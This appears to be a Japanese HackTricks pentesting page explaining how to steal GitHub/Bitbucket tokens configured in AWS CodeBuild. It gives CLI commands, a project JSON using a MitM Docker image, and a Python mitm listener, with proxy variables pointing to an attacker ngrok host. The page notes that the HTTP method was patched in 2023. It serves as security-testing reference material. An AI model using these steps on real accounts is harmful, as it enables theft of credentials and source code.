AWS Codebuild - Token Leakage

Support HackTricks

Github/Bitbucketに設定されたトークンの回復

まず、漏洩できるソース認証情報が設定されているか確認してください:

aws codebuild list-source-credentials

Via Docker Image

もし、例えばGithubへの認証がアカウントに設定されていることがわかった場合、Codebuildを使ってプロジェクトのビルドを実行するために特定のdockerイメージを使用させることで、そのアクセスGHトークンまたはOAuthトークン)を抽出することができます。

この目的のために、新しいCodebuildプロジェクトを作成するか、既存のものの環境を変更してDockerイメージを設定することができます。

使用できるDockerイメージはhttps://github.com/carlospolop/docker-mitmです。これは、env変数https_proxyhttp_proxy、および**SSL_CERT_FILEを設定する非常に基本的なDockerイメージです。これにより、https_proxyおよびhttp_proxyで指定されたホストのほとんどのトラフィックを傍受し、SSL_CERT_FILE**で指定されたSSL CERTを信頼することができます。

  1. 自分のDocker MitMイメージを作成してアップロードする

  • リポジトリの指示に従って、プロキシIPアドレスを設定し、SSL証明書を設定してdockerイメージをビルドします

  • http_proxyを設定しないでくださいメタデータエンドポイントへのリクエストを傍受しないようにするためです。

  • **ngrok**を使用して、ngrok tcp 4444のようにプロキシをホストに設定できます。

  • Dockerイメージがビルドされたら、パブリックリポジトリにアップロードします(Dockerhub、ECR...)。

  1. 環境を設定する

  • 新しいCodebuildプロジェクトを作成するか、既存のものの環境を変更します

  • プロジェクトを以前に生成したDockerイメージを使用するように設定します。

  1. ホストにMitMプロキシを設定する

  • Githubリポジトリに示されているように、次のようなものを使用できます:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

使用されたmitmproxyのバージョンは9.0.1であり、バージョン10ではこれが機能しない可能性があると報告されています。

  1. ビルドを実行し、資格情報をキャプチャする

  • Authorizationヘッダーにトークンが表示されます:

これは、aws cliを使用して次のように行うこともできます

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

HTTPプロトコル経由

この脆弱性は2023年2月20日の週のある時点でAWSによって修正されました(おそらく金曜日)。したがって、攻撃者はもはやこれを悪用できません :)

CodeBuildでの権限が昇格された攻撃者は、設定されたGithub/Bitbucketトークンを漏洩させることができるか、またはOAuth経由で権限が設定されている場合、コードにアクセスするために使用される一時的なOAuthトークンを漏洩させることができる

  • 攻撃者は、環境変数http_proxyhttps_proxyをCodeBuildプロジェクトに追加し、自分のマシンを指すことができます(例えばhttp://5.tcp.eu.ngrok.io:14972)。

  • 次に、githubリポジトリのURLをHTTPSの代わりにHTTPを使用するように変更します。例えば:**http://**github.com/carlospolop-forks/TestActions

  • その後、プロキシ変数(http_proxyおよびhttps_proxy)が指すポートでhttps://github.com/synchronizing/mitmの基本的な例を実行します。

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • 最後に、プロジェクトをビルドをクリックすると、認証情報平文(base64)でmitmポートに送信されます

これで攻撃者は自分のマシンからトークンを使用し、持っているすべての権限をリストし、CodeBuildサービスを直接使用するよりも簡単に(悪用)できるようになります。

HackTricksをサポートする

Last updated